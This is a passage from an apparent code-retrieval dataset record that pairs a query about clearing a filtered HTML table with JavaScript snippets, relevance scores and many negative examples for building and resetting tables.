{\n\tconst mixer = document.getElementById('mixerBox');\n\tmixer.innerHTML= '';\n\n\tfor (let i=0; i < sound.trackInfo.length; i++) {\n\t\tmixer.insertAdjacentHTML('beforeend', `\n\t\t\t<td id='Track${i}' class='mixerTrack'>Track ${i}</td>\n\t\t\t`)\n\t}\n}", "function updateNowPlaying(artist, track, uri) {\n $(\"#now_playing_dialog\").html(\"<table class='even'><tr style='margin: 50px;'><td>\"+track+\"</td><td>\"+artist+\"</td></tr></table>\");\n}", "function showTable(results) {\n var table = new Table();\n table.push([\n 'ID'.bgRed,\n 'Item Name'.bgRed,\n 'Department Name'.bgRed,\n 'Price'.bgRed,\n 'Stock Quantity'.bgRed]);\n results.forEach(function (row) {\n table.push([\n row.itemId,\n row.productName,\n row.departmentName,\n accounting.formatMoney(row.price),\n accounting.formatNumber(row.stockQuantity)\n ]);\n });\n console.log('' + table);\n}", "function createQbTable(playerGames) {\n var table = '<table id=\"player-table\" class=\"table table-hover\">' + qbHeaders;\n playerGames.forEach(function(game) {\n table += '<tr>' + col(game.date) + col(game.opponent) + col(game.result) + col(game.pass_attempts) +\n col(game.pass_completions) + col(game.pass_yards) + col(game.comp_percentage) +\n col(game.avg_yards_per_pass) + col(game.pass_tds) + col(game.interceptions) + col(game.qb_rating)\n + col(game.passer_rating) + col(game.rush_attempts) + col(game.rush_yards) +\n col(game.avg_yards_per_rush) + col(game.rush_tds) + '</tr>';\n\n });\n return table;\n }", "function buildTable(sightingsData) {\n //console.log(sightingsData); *check to see if it's working\n tbody.html(\"\"); //clear out html; will start fresh\n sightingsData.forEach(function(sightingReport) {\n var row = tbody.append(\"tr\");\n Object.entries(sightingReport).forEach(function([key, value]) {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "function buildTable(tableData) {\n //clear table\n tbody.html(\"\");\n // loop thrugh the array\n tableData.forEach((well) => {\n // for each well add a row to the tbody\n let row = tbody.append(\"tr\");\n // loop through each value to add a cell for each of it\n Object.values(well).forEach((val) => {\n let cell = row.append(\"td\");\n cell.text(val);\n })\n }); // closing forEach\n }", "function buildTable(tableData){\n // Clear the html table section\n tbody.html(\"\");\n //Loop to append data \n tableData.forEach(dataEntry =>{\n var row = tbody.append(\"tr\");\n Object.entries(dataEntry).forEach(([key,value]) =>{\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "function displayFrequentAlbums(album_list, album_artists, album_to_id) {\n var num = 20 // number of albums to display\n var sorted_albums = [];\n var table_info = `<table id='album-count' class='table-striped table-bordered'>\n <colgroup>\n \t\t\t <col span=\"1\" style=\"width: 55%;\">\n <col span=\"1\" style=\"width: 38%;\">\n \t\t\t <col span=\"1\" style=\"width: 7%;\">\n </colgroup>\n <thead>\n <tr>\n <th>Album</th>\n <th>Artist</th>\n <th>Count</th>\n </tr>\n </thead>\n <tbody>`;\n\n // sorting albums by song count\n for (var album in album_list) {\n sorted_albums.push([album, album_list[album]]);\n }\n sorted_albums.sort(function(a, b) {\n return b[1] - a[1];\n });\n\n // get top album image\n getAlbumImage(album_to_id[sorted_albums[0][0]]);\n\n // generate table\n var e = document.createElement('div');\n e.className = \"freq_album_table\";\n\n for (i = 0; i < Math.min(num, sorted_albums.length); i++) {\n table_info += \"<tr><td align='left'>\" + sorted_albums[i][0] + \"</td><td align='left'>\" + album_artists[sorted_albums[i][0]] + \"</td><td align='right'>\" + sorted_albums[i][1] + \"</td></tr>\";\n }\n\n table_info += \"</table>\";\n e.innerHTML = table_info;\n\n var h = document.createElement('h2');\n h.innerHTML = \"Frequent Albums\";\n document.getElementById(\"frequent-albums\").append(h);\n document.getElementById(\"frequent-albums\").append(e);\n}", "function createSongsList(i) {\n\tvar html = \"\";\n\tvar songsData = [];\n\n\tif (i == \"all\") {\n\t\t$.each(playlistsData, function(k, v){\n\t\t\tif (k != \"custom\") {\n\t\t\t\t$.each(v.songs, function(k2, v2){\n\t\t\t\t\tsongsData.push(v2);\n\t\t\t\t});\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsongsData = playlistsData[i].songs;\n\t}\n\n\tif (i != \"custom\") {\n\t\tsongsData = shuffleObj(songsData);\n\t}\n\n\t$.each(songsData, function(k, v){\n\t\tif (i == \"custom\") {\n\t\t\tvar faClass = \"fa-music\";\n\t\t\tif (v.url.indexOf(\"youtube\") > -1) {\n\t\t\t\tfaClass = \"fa-video-camera\";\n\t\t\t}\n\t\t\thtml += '<li data-id=\"'+k+'\" data-custom=\"1\"><i class=\"fa '+ faClass +'\"></i>'+v.title+'</li>';\n\t\t} else {\n\t\t\thtml += '<li data-id=\"'+ v.videoId +'\">'+ v.title +'</li>';\n\t\t}\n\t});\n\t$songsList.html(html);\t\n}", "function top_track_moda (tracks){\n var id_modal = \"#modal_track\";\n $(id_modal+ \" h4\").text(\"Track\");\n var result='<table class=\"table\">'+\n '<thead>'+\n '<tr>'+\n '<th colspan=\"5\" class=\"text-center\"><h2>'+tracks.track_name+'</h2></th>'+\n '</tr>'+\n '</thead>'+\n '<tbody>'+\n '<tr>'+\n '<th class=\"text-center\">Disc Number</th><th class=\"text-center\">Track Number</th><th class=\"text-center\">Album Name</th><th class=\"text-center\">Duration</th><th class=\"text-center\">Preview</th>'+\n '</tr>'+ \n '<tr>'+\n '<td class=\"text-center\">'+tracks.disc_number+'</td>'+\n '<td class=\"text-center\">'+tracks.track_number+'</td>'+\n '<td id=\"'+tracks.album_id+'\" class=\"text-center\">'+tracks.album_name+'</td>'+\n '<td class=\"text-center\">'+millisToMinutesAndSeconds(tracks.duration_ms)+'</td>'+\n '<td class=\"text-center\"><a target=\"_blank\" href=\"'+tracks.preview_url+'\"><span class=\"glyphicon glyphicon-music\"></span></a></td>'+\n '</tr>'; \n \n '</tbody>'+\n '</table>';\n // $(\"#tracklist_list\").empty();\n //$(\"#tracklist_list\").append(result);\n $(id_modal+\" .modal-body\").empty();\n $(id_modal+\" .modal-body\").append(result);\n $(id_modal+\" td:nth-child(3)\").click(function (){\n var id_album =$(this).attr(\"id\");\n var url = \"https://api.spotify.com/v1/albums/\" + id_album + \"/tracks\";\n request(url,\"load_tracks\",tracks.album_name);\n });\n \n \n $(id_modal).modal('show'); \n}", "function create_table() {\n // table stats\n var keys = d3.keys(data[0]);\n d3.select(\"#stats\").remove();\n var stats = d3.select(\"#stats\")\n .html(\"\")\n\n stats.append(\"div\")\n .text(\"Columns: \" + keys.length)\n\n stats.append(\"div\")\n .text(\"Rows: \" + data.length)\n\n d3.select(\"#table\")\n .html(\"\")\n .append(\"tr\")\n .attr(\"class\", \"fixed\")\n .selectAll(\"th\")\n .data(keys)\n .enter().append(\"th\")\n .text(function(d) {\n return d;\n });\n\n d3.select(\"#table\")\n .selectAll(\"tr.row\")\n .data(data)\n .enter().append(\"tr\")\n .attr(\"class\", \"row\")\n .selectAll(\"td\")\n .data(function(d) {\n return keys.map(function(key) {\n return d[key]\n });\n })\n .enter().append(\"td\")\n .text(function(d) {\n return d;\n });\n}", "function buildTable(tableData){\n // Clear any data if present\n tbody.html(\"\");\n\n //loop thru data table to place the values\n tableData.forEach(dataEntry =>{\n var row = tbody.append(\"tr\");\n Object.entries(dataEntry).forEach(([key,value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "function gotSongData(Data){\r\n\t//console.log(Data.val());\r\n\tdta = Data.val()\r\n\tvar keys = Object.keys(dta);\r\n\t//console.log(keys);\r\n\tfor(i=0;i<keys.length;i++){\r\n\t\tvar k = keys[i];\r\n\t\tvar nm = dta[k].name;\r\n\t\tvar crd = dta[k].cord;\r\n\t\tvar Strm = dta[k].strum;\r\n\t\tdat = [nm,crd.slice(),Strm.slice()];\r\n\t\tsong_data.push(dat);\r\n\t}\r\n\tconsole.log(song_data.length);\r\n practice.loadSong_data(song_data);\r\n}", "function tableView() {\n\tconnection.query(\"SELECT item_id, product_name, department_name, price, stock_quantity FROM products\", function(err, results) {\n if (err) throw err;\n\n// table \n\tvar table = new Table({\n \thead: ['ID#', 'Item Name', 'Department', 'Price($)', 'Quantity Available'],\n \t colWidths: [10, 20, 20, 20, 20],\n \t style: {\n\t\t\t head: ['cyan'],\n\t\t\t compact: false,\n\t\t\t colAligns: ['center'],\n\t\t }\n\t});\n//Loop through the data\n\tfor(var i = 0; i < results.length; i++){\n\t\ttable.push(\n\t\t\t[results[i].item_id, results[i].product_name, results[i].department_name, results[i].price, results[i].stock_quantity]\n\t\t);\n\t}\n\tconsole.log(table.toString());\n\n });\n}", "function newTable (head) {\n // var table = new Table();\n var table = new Table({\n head: head || [],\n chars: {\n 'mid': '',\n 'left-mid': '',\n 'mid-mid': '',\n 'right-mid': ''\n }\n })\n return table\n}", "function createTable(library){\n\n\t//creates the table html DOM element\n mytable = $(\"<table id= \\\"genLibTable\\\" border='4'></table>\");\n mytablebody = $(\"<tbody></tbody>\");\n\n curr_row = $(\"<tr bgcolor=\\\"#0bed0b\\\"></tr>\");\n\n\t//add all the shelves to the table\n for(col = 0; col < library.shelves.length; col++){\n \tcurr_cell = $(\"<td></td>\");\n \tcurr_text = library.shelves[col].shelfName;\n \tcurr_cell.append(curr_text);\n \tcurr_row.append(curr_cell);\n }\n\n\t//appends arg to mytablebody\n\tmytablebody.append(curr_row);\n\n\t//add the books to the shelf columns\n\t//get the longest shelf's length\n\tvar longestShelfLen = 0;\n\n\tfor(i=0;i<library.shelves.length;i++){\n\t\tif(library.shelves[i].books.length > longestShelfLen){\n\t\t\tlongestShelfLen = library.shelves[i].books.length;\n\t\t}\n\t}\n\n\t//for every book in the shelves\n\tfor(row=0;row<longestShelfLen;row++){\n\t\t//make a new row\n\t\tcurr_row = $(\"<tr bgcolor=\\\"#d2e940\\\"></tr>\");\n\n\t\t//for each shelf\n\t\tfor(col=0;col<library.shelves.length;col++){\n\t\t\t//if the shelf has a book at that spot\n\t\t\tif((row<library.shelves[col].books.length) && (library.shelves[col].books[row].available==1)){\n\t\t\t\t//make a new data col\n\t\t\t\tcurr_cell = $(\"<td id=\\\"\"+library.shelves[col].books[row].bookName+\"\\\"></td>\");\n\t\t\t\tcurr_text = library.shelves[col].books[row].bookName;\n\n\t\t\t}\n\t\t\telse{\n\t\t\t\t//make a new data col\n\t\t\t\tcurr_cell = $(\"<td></td>\");\n\t\t\t\tcurr_text = \" \";\n\t\t\t}\n\t\t\tcurr_cell.append(curr_text);\n\t\t\tcurr_row.append(curr_cell);\n\t\t\tmytablebody.append(curr_row);\n\t\t}\n\t}\n\n\t//append the body to the whole table\n\tmytable.append(mytablebody);\n\n\t//return generated table\n\treturn mytable;\n}", "function init() {\n tableData.forEach((sightings) => {\n var row = tbody.append(\"tr\");\n Object.entries(sightings).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}" ]
[ "0.70723236", "0.67753613", "0.6573688", "0.6554995", "0.6449598", "0.64373994", "0.63667506", "0.6361942", "0.63363403", "0.629647", "0.626948", "0.6234951", "0.6206156", "0.6204813", "0.61975473", "0.6185291", "0.6178062", "0.6136167", "0.6112547", "0.6111902", "0.6095612", "0.60698813", "0.6064881", "0.6058755", "0.6041224", "0.60305846", "0.5959401", "0.5954433", "0.5892503", "0.5865114", "0.58530533", "0.5835943", "0.58322746", "0.5824772", "0.58215433", "0.57840455", "0.5780372", "0.5779728", "0.57744884", "0.5769926", "0.5723062", "0.5722376", "0.57204556", "0.570599", "0.5696447", "0.5657018", "0.5655265", "0.56456167", "0.56426996", "0.5638913", "0.56358", "0.5614083", "0.5612598", "0.5609602", "0.5593389", "0.5580796", "0.55697095", "0.5567968", "0.55675143", "0.5560221", "0.55569345", "0.5551715", "0.55509686", "0.5540509", "0.5539994", "0.5531659", "0.5516178", "0.550654", "0.5503967", "0.5494606", "0.5488003", "0.5486697", "0.5467476", "0.5462269", "0.5460349", "0.5457465", "0.54547876", "0.5451844", "0.54504913", "0.5449775", "0.54474914", "0.54431164", "0.5437656", "0.5431906", "0.5430332", "0.5418696", "0.5418144", "0.5414713", "0.5413445", "0.5410042", "0.54095733", "0.54052323", "0.5396691", "0.53950167", "0.5387204", "0.53804517", "0.5377887", "0.53754354", "0.53732705", "0.5368417" ]
0.68248993
1
Function that will clear out the table from the previous filter
function clearTable(table, table_size) { for (var i = 0; i < table_size - 1; i++) { table.deleteRow(0); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function erase_table(){\n\t\n\t// Remove elements in table before populating filtered data\n\n\ttable = d3.select(\"#tbody\")\n\trows = table.selectAll(\"tr\").remove();\n\n}", "function reset () {\n\ttable.empty() ;\n}", "function clearTable() {\n tbody.html(\"\");\n}", "function resetFilter() {\n // Clear all inputs to filter\n document.getElementById(\"form\").reset();\n // Select the body of the table that displays results\n let tbody = d3.select(\"tbody\");\n // Clear output of the table\n tbody.html(\"\");\n}", "function clearTable(){\n\t\t\t$('#historicalTable').find('td').remove();\n\t\t\t$('#historicalTable').css('visibility', 'hidden');\n\t\t}", "function reset () {\n d3.select(\"tbody\").html(null);\n addTable(tableData);\n let attr = Object.keys(dataMap);\n let tag = Object.values(dataMap);\n\n for (let i = 0; i < attr.length; i++){\n addOptions(tableData,attr[i],tag[i]);\n };\n resetSelects();\n\n // Initialize filters\n filters['datetime']= '';\n filters['city']= '';\n filters['state']= '';\n filters['country']= '';\n filters['shape']= '';\n}", "function unfilter() {\n\td3.event.preventDefault();\n\n\t// remove all filters\n\tdocument.getElementById('datetime').value = '';\n\tdocument.getElementById('state-dropdown').selectedIndex = 0;\n\tdocument.getElementById('shape-dropdown').selectedIndex = 0;\n\n\t// show original table\n\tshowTable(tableData);\n}", "function resetTable(){\n tbody.html(\"\");\n}", "function clearTable() {\n if (searchResultsList.children().length > 0) {\n searchResultsList.empty();\n }\n }", "function clearAllFilters() {\n\n // Loop over the filter columns\n _.each(properties.filterColumns, function (item) {\n var filter = item.enhancedTable.filter;\n\n // Set their individual data to null\n filter.position = null;\n filter.set = [];\n filter.concatType = null;\n });\n\n\n // Update the headers with the filter information (graphic, position)\n updateTableHeaders();\n\n }", "handleFilterClear() {\n let newTableFilters = new Map(this.state.tableFilters);\n newTableFilters.delete(this.state.filterColumn);\n this.setState({ isTableFilterTextDialogOpen: false, tableFilters: newTableFilters, filterColumn: null });\n\n this.retrieveStudents(this.state.sortColumn, this.state.sortOrder, this.state.page, this.state.rowsPerPage, newTableFilters);\n }", "function clearDataTable() {\n tbody.html(\"\");\n thead.html(\"\");\n}", "function clearTable(){\n\t$('table#current_conceptcodes_table > tbody > tr.conceptcode-record').remove();\n}", "function limpar(){\n\n tabela.find(\"tbody\").empty();\n\n tabela.find(\"tfoot\").remove();\n\n tabela.find(\"caption\").remove();\n\n }", "function ResetFilterRows() { // PR2019-10-26 PR2020-06-20\n //console.log( \"===== ResetFilterRows ========= \");\n\n filter_dict = {};\n filter_mod_employee = false;\n\n Filter_TableRows(true); // true = set filter isactive\n\n let filterRow = tblHead_datatable.rows[1];\n if(!!filterRow){\n for (let j = 0, cell, el; cell = filterRow.cells[j]; j++) {\n if(cell){\n el = cell.children[0];\n if(el){\n const filter_tag = get_attr_from_el(el, \"data-filtertag\")\n if(el.tagName === \"INPUT\"){\n el.value = null\n } else {\n const el_icon = el.children[0];\n if(el_icon){\n let classList = el_icon.classList;\n while (classList.length > 0) {\n classList.remove(classList.item(0));\n }\n el_icon.classList.add(\"tickmark_0_0\")\n }\n }\n }\n }\n }\n };\n FillTblRows();\n } // function ResetFilterRows", "function table_reset() {\n $('.crash-table tbody').html(\"\");\n}", "function clearTable(tableData){\n d3.json('./static/todaysImport.json').then((data) => {\n tableData = data;\n tbody = d3.select(\"tbody\");\n tbody.html(\"\");\n tableData.forEach((well) => {\n let row = tbody.append(\"tr\");\n Object.values(well).forEach((val) => {\n let cell = row.append(\"td\");\n cell.text(val);\n //CODE TO RESET DROPDOWN i.e. CLEAR SELECTION\n var dropDown = document.getElementById(\"multiple-site-filter\"); \n dropDown.selectedIndex = 0\n })})})}", "function clearTable() {\n engagementTableBody.innerHTML = '';\n}", "function clearTable() {\n $(\"#datatable tbody tr\").empty();\n}", "function clearEnvTables() {\n $('tr.env-param-row').each(function(i) {\n $(this).empty();\n });\n }", "clearTable(data) {\n let tab = document.getElementById(data.tableIdName);\n for (let i = tab.childNodes.length - 1; i >= 0; i--) {\n tab.childNodes[i].remove();\n }\n }", "function clearOutResults(){\n\t\t$(\"#resultsTable\").find(\"td\").each(function() { \n\t\t\t$(this).html(\"\");\n\t\t});\n\t}", "ClearRows() {\n this.Table.ClearRows();\n }", "function ResetFilterRows() { // PR2019-10-26 PR2020-06-20\n //console.log( \"===== ResetFilterRows ========= \");\n\n selected_user_pk = null;\n\n filter_dict = {};\n filter_mod_employee = false;\n\n Filter_TableRows(true); // true = set filter isactive\n\n let filterRow = tblHead_datatable.rows[1];\n if(!!filterRow){\n for (let j = 0, cell, el; cell = filterRow.cells[j]; j++) {\n if(cell){\n el = cell.children[0];\n if(el){\n const filter_tag = get_attr_from_el(el, \"data-filtertag\")\n if(el.tagName === \"INPUT\"){\n el.value = null\n } else {\n const el_icon = el.children[0];\n if(el_icon){\n let classList = el_icon.classList;\n while (classList.length > 0) {\n classList.remove(classList.item(0));\n }\n el_icon.classList.add(\"tickmark_0_0\")\n }\n }\n }\n }\n }\n };\n FillTblRows();\n } // function ResetFilterRows", "function resetFilters() {\n filterAllowedIdsArr = filterIdGenerator(rowsAmount);\n while (mainDiv.firstChild) {\n mainDiv.removeChild(mainDiv.firstChild);\n }\n finalData = { text: [], number: [] };\n console.clear();\n}", "function clearFilter() {\n loadOsListAll();\n setFiltered(false);\n }", "function clear(){\n $(\"#table-body\").html(\"\")}", "function clearTables(){\n process.setMaxListeners(0);\n var Parent = document.getElementById(\"cardResults\");\n while(Parent.hasChildNodes())\n {\n Parent.removeChild(Parent.firstChild);\n }\n setHeaders(Parent);\n return;\n}", "function clearColumnFilter() {\n\n // Get the column filter object for this popup instance\n var filter = properties.activeColumn.enhancedTable.filter;\n\n // Nullify this individual columns filter data\n filter.position = null;\n filter.set = [];\n filter.concatType = null;\n\n // Re sort the filter columns, setting up for updating the header display\n properties.filterColumns = _.sortBy(properties.filterColumns, function (item) {\n return item.enhancedTable.filter.position == null ? 10000 : item.enhancedTable.filter.position;\n });\n\n // Recalculate the sortPosition property, for use in the header display\n _.each(properties.filterColumns, function (item, index) {\n if (item.enhancedTable.filter.position != null) {\n item.enhancedTable.filter.position = index;\n }\n });\n\n \t// Get the data if we are not in batch mode\n if (!properties.batchMode) reQuery();\n\n // Update the headers with the sort information (graphic, position)\n updateTableHeaders();\n\n }", "function clearTable() {\n document.getElementById(\"resultTable\").getElementsByTagName('tbody')[0].innerHTML = \"\";\n}", "function clearFilterSelection(cssTableName)\n{\n\tvar oTable = jQuery(cssTableName).dataTable();\n\t\n\toTable.fnFilter('', 0);\n\toTable.fnFilter('', 1);\n\n\tjQuery(function()\n \t{\n\t\t// Hide the div box\n\t\tvar filterBoxCss = jQuery(divFilterInfoBoxName);\n\t\tfilterBoxCss.hide();\n\t\t// Clear selection from approval table\n\t\tvar approvalTable = jQuery(\"#comp-request-table-data\").dataTable();\n\t\tjQuery(\"td.\"+divRowSelectedName, approvalTable.fnGetNodes()).removeClass(divRowSelectedName);\t\n \t});\n}", "_clearRowFilters() {\r\n const that = this;\r\n\r\n if (!that._filterInfo.rowFilters) {\r\n return;\r\n }\r\n\r\n const filterRow = that.$.tableContainer.querySelector('.smart-table-filter-row'),\r\n selectionColumnCorrection = that.selection ? 1 : 0;\r\n\r\n for (let i = 0; i < that._columns.length; i++) {\r\n const container = filterRow.children[i + selectionColumnCorrection].firstElementChild;\r\n\r\n container.firstElementChild.value = '';\r\n container.children[2].classList.add('smart-hidden');\r\n }\r\n\r\n delete that._filterInfo.rowFilters;\r\n }", "function clearPeInvoiceTable() {\n $('#peInvoiceDisplay').find('#peInvoiceTable').find('tr:not(.head)').remove();\n}", "function clearEnvTables() {\n $('tr.env-param-row').each(function(i) {\n $(this).empty();\n // console.log(\"Env\",i);\n });\n}", "excelClear() {\n const that = this;\n\n that.tree.select('0');\n that.filterObject.clear();\n that.cachedFilter = that.tree.selectedIndexes.slice(0);\n }", "excelClear() {\n const that = this;\n\n that.tree.select('0');\n that.filterObject.clear();\n that.cachedFilter = that.tree.selectedIndexes.slice(0);\n }", "clear() {\n\n this.table = {};\n this.tableSize = 0;\n\n }", "function resetFilters() {\n\tfilterOptions[0] = \"\";\n\tfilterOptions[1] = \"\";\n\tfilterOptions[2] = \"\";\n\tfilterOptions[3] = \"\";\n\n\tvar inputFilter = document.getElementById('table-filter-input');\n\tinputFilter.addEventListener('input', function() {\n\n\t})\n\n\t$('#table-filter-input').val(filterOptions[0] + \" \" + filterOptions[1] + \" \" + filterOptions[2] + \" \" + filterOptions[3]);\n\tinputFilter.dispatchEvent(new Event('input'));\n\t\n\tselectSalesPersonBeta(0);\n\t// selectSalesPeriode(0);\n\t// selectSalesDepartment(0);\n\t// selectSalesCountry(0, 'Alle land');\n\n\t// getStats();\n\n}", "function ClearSearch() {\n // Clear search bar\n $(\"#searchText\").val(\"\");\n // Display all rows\n for (var i=0; i<tableRows.length; i++) {\n tableRows.item(i).style.display = \"table-row\";\n }\n}", "function effacerTableau() {\r\n tabIsEmpty = true;\r\n tbody.empty();\r\n }", "function cleanTable(){\n d3.select(\"tbody\").selectAll(\"td\").remove();\n \n }", "function clear() {\t\t\n\t\t\tresetData();\n refreshTotalCount();\n for(var i=0;i<5; i++) { addMutationInvolvesRow(); }\n for(var i=0;i<5; i++) { addExpressesComponentsRow(); }\n for(var i=0;i<5; i++) { addDriverComponentsRow(); }\n\t\t\tsetFocus();\n\t\t}", "function ClearDamage () {\r\n$(\"#\" + TAB_DAMAGECAUSE_TABLE_DAMAGE + \" tr:gt(0)\").remove();\r\n}", "function resetTable() {\n tableHead.innerHTML = null;\n tableBody.innerHTML = null;\n}", "function resetTableArr() {\n\n stateSelector.value = 'All'\n checkDem.checked = true;\n checkRep.checked = true;\n checkInd.checked = true;\n filterArray();\n}", "function clearFilterTag() {\n lastFilter = null;\n hideClearFilterBtn();\n // Show all articles\n SetNodesVisibility(\"article\", true);\n // Show all sections\n SetNodesVisibility(\"section\", true);\n}", "function truncateDataTable() {\r\n\tconsole.log('truncateDataTable');\r\n\t\r\n\t// Reduce the data table to just the filtered rows\r\n\tdata = $.grep(data, record => record[0].__filters.every(value => value));\r\n\t\r\n\t// Rebuild the filters\r\n\tbuildFilters();\r\n\r\n}", "function reset() {\n d3.selectAll(\"#tableVis table tr\").style(\"font-weight\", \"normal\");\n destroyVis();\n colleges = Object.keys(current_json);\n autocomp();\n createVis(current_json, current_csv);\n}", "function resetTable() { \n \n // prevent page refresh \n d3.event.preventDefault();\n\n // load all data to table\n loadTable(data); \n \n // date selector inital value blank\n dateSearch.property('value', '');\n citySearch.property('value', '');\n stateSearch.property('value', '');\n countrySearch.property('value', '');\n shapeSearch.property('value', '');\n}", "clearFilter() {\n if (!this.settings.filterable) {\n return;\n }\n\n this.clearFilterFields();\n\n this.applyFilter();\n this.element.trigger('filtered', { op: 'clear', conditions: [] });\n }", "function clearRowData(){\n document.getElementById('tableData').deleteRow;\n }", "function ResetEstimateList() {\n $(\".searchicon\").removeClass('filterApplied');\n BindOrReloadEstimateTable('Reset');\n}", "function clearAll() {\n var tableBody = document.getElementById(\"historyTableBody\");\n tableBody.innerHTML = '';\n storageLocal.removeItem('stopWatchData');\n historyData = [];\n cachedData = [];\n stopButtonsUpdate();\n}", "clear() { \n this.state.page=0;\n this.state.filters='';\n this.state.search='';\n document.getElementById('searchInput').value = '';\n for (var key in this.state.listFilters){\n document.getElementById(key).value='';\n this.state.listFilters[key]='';\n this.state.filters='';\n } \n this.loadData(''); \n }", "clearFilter(){\n\t\tthis.filtered = [];\n\t}", "clearFilter() {\r\n this.refs.propertyGrid.onSelectAll(false, []);\r\n this.props.toggleButtonText(false);\r\n this.stateSet({ clearFilterKey: Math.random(), filterObj: { companyId: this.companyId }, selectedData: [] });\r\n }", "function clearTable() {\n document.getElementById('body').innerHTML = '';\n}", "function clearSearchFilters()\n{\n/*\n* Clear Filters and refresh data table\n* First it clear all the fields and call its event\n*/ \n\n$('.dataTables_filter input').val('');\n$('.dataTables_filter select').prop('selectedIndex',0);\n\nif($('select').hasClass('select2'))\n{\n$('.select2').val(\"\");\n$('.select2').trigger('change.select2');\n}\n\nvar oSettings = oTable.fnSettings();\n for(iCol = 0; iCol < oSettings.aoPreSearchCols.length; iCol++) {\n oSettings.aoPreSearchCols[ iCol ].sSearch = '';\n }\n oTable.fnDraw();\n \n}", "clearReceiptSearchResults () {\n $(\"#receipts-lists\").html('');\n $(\"#receipts-lists\").parent('.table-responsive').find('.panel').remove();\n }", "function clearAll() {\n\n\t\t\t// Clear the sorts and filters, defer the query\n \tclearAllSorts();\n \tclearAllFilters();\n\n }", "function clearTable() {\n document.getElementById(\"form\").reset();\n}", "function eliminaFilas(){\n //$(\"#tbodyid\").empty(); \n $('#dataTables-example').DataTable().clear().draw();\n}", "function ClearDataTable() {\n $(\"tbody\").replaceWith(\"<tbody></tbody>\");\n}", "function clearChangeOrderTable() {\n $('#changeOrderTable > tbody').find('tr').remove();\n}", "function clearTable(){\n const elementsToClear = [];\n let storeTableHeader = document.querySelector('#sales-table thead');\n let storeTableRowElement = document.querySelector('#sales-table tbody');\n let storeTableFooter = document.querySelector('#sales-table tfoot');\n elementsToClear.push(storeTableHeader, storeTableRowElement, storeTableFooter);\n for (let i = 0; i < elementsToClear.length; i++) {\n while (elementsToClear[i].lastChild) {\n elementsToClear[i].removeChild(elementsToClear[i].lastChild);\n }\n }\n}", "function clearTables() {\n var clearArea = document.getElementsByClassName(\"tables-container\")[0];\n while (clearArea.hasChildNodes()) {\n clearArea.removeChild(clearArea.firstChild);\n }\n}", "function clear(){\n for(let x in filter){\n filter[`${x}`] = false\n console.log(filter[`${x}`])\n document.getElementById(\"selected_filters_div\").innerHTML = \"\"\n }\n document.getElementById(\"count\").style.visibility = \"hidden\"\n document.getElementById(\"g\").innerHTML = \"\"\n document.getElementById(\"row4\").style.display = \"none\"\n }", "clearFilterFields() {\n if (!this.settings.filterable) {\n return;\n }\n\n this.element.find('.datagrid-header input, select').each(function () {\n const input = $(this);\n input.val('');\n if (input.is('select')) {\n input.find('option').each(function () {\n $(this).prop('selected', false);\n });\n }\n input.trigger('updated');\n });\n\n // reset all the filters to first item\n this.element.find('.datagrid-header .btn-filter').each(function () {\n const btn = $(this);\n const ul = btn.next();\n const first = ul.find('li:first');\n\n btn.find('svg:first > use').attr('href', `#icon-filter-${btn.attr('data-default')}`);\n ul.find('.is-checked').removeClass('is-checked');\n first.addClass('is-checked');\n });\n }", "function clearTable(){\n let parent = document.getElementsByClassName('container')[0];\n for(let i = 0; i < document.getElementsByClassName('name').length; i++){\n parent.removeChild(document.getElementsByClassName('name')[i])\n i--\n }\n for(let i = 0; i < document.getElementsByClassName('plan').length; i++){\n parent.removeChild(document.getElementsByClassName('plan')[i])\n i--\n }\n for(let i = 0; i < document.getElementsByClassName('forecast').length; i++){\n parent.removeChild(document.getElementsByClassName('forecast')[i])\n i--\n }\n for(let i = 0; i < document.getElementsByClassName('best').length; i++){\n parent.removeChild(document.getElementsByClassName('best')[i])\n i--\n }\n for(let i = 0; i < document.getElementsByClassName('commit').length; i++){\n parent.removeChild(document.getElementsByClassName('commit')[i])\n i--\n }\n for(let i = 0; i < document.getElementsByClassName('comments').length; i++){\n parent.removeChild(document.getElementsByClassName('comments')[i])\n i--\n }\n for(let i = 0; i < document.getElementsByClassName('monthly').length; i++){\n parent.removeChild(document.getElementsByClassName('monthly')[i])\n i--\n }\n}", "function resetTable(table_name){\n var table = $(table_name);\n var rows = table.tBodies[0].rows.length;\n for (var i = rows; i > 1; i--) {\n table.deleteRow(i - 1);\n }\n}", "function resetTable(tableId){\n //setting table data to an empty array will clear all rows \n $(tableId).bootstrapTable('load', []);\n }", "function theQwertyGrid_clearAllRows() {\n\t\t\tjQuery(\"#theQwertyGrid_rows tr\").remove();\n\t\t}", "function clearTable() {\r\n tableMainContainer.innerHTML = \"\";\r\n\r\n // for(let i = 2; i <= tableMainContainer.children.length - 1; i++) {\r\n // console.log(tableMainContainer.children);\r\n // tableMainContainer.children[i].remove();\r\n // }\r\n }", "clear() {\n this._table.lastElementChild.lastElementChild.innerHTML = \"\";\n this._displayed.clear();\n }", "clearFilter(col) {\n\n let newFilterData = this.state.filterApplied;\n\n if (newFilterData[col] == undefined && col !== \"EntityTypeCode\")\n return;\n else\n delete newFilterData[col];\n\n //let newFilterColumnList = this.state.filterColumnList.filter((f)=>f != col)\n\n if (col == \"EntityTypeCode\") {\n this.entityTypeCode = \"BAT\";\n }\n\n let fQuery = this.getFilterQueries(newFilterData);\n\n this.setState({filterApplied: newFilterData, filterQuery: fQuery});\n\n this.fetchData({type: \"FILTER_DATA_FETCH\", filter: fQuery, data: newFilterData})\n }", "function clearStaticPagesTable() {\n $('#static-pages-rows').empty();\n}", "function clearTables() {\n /* Remove all elements from id answer-list\n * in ANSWERS LIST PAGE */\n $(\"#answer-list\").empty();\n \n /* Remove all elements from id result-list\n * in RESULT PAGE */\n $(\"#result-list\").empty();\n}", "function resetData(){\n \t$('.danhMucTable tbody tr').remove();\n \tajaxGet();\n }", "function clearStandards(){\n\n var view = tabsFrame.newView;\n var index = view.tableGroups.length - tabsFrame.selectedTableGroup - 1;\n var curTgrp = view.tableGroups[index];\n var tables = curTgrp.tables;\n\tvar tmpTables = new Array();\n\n\tfor (var i=0; i<tables.length; i++){\t\t\n\t\tif (tables[i].role == 'standard'){\n\t\t\tvar 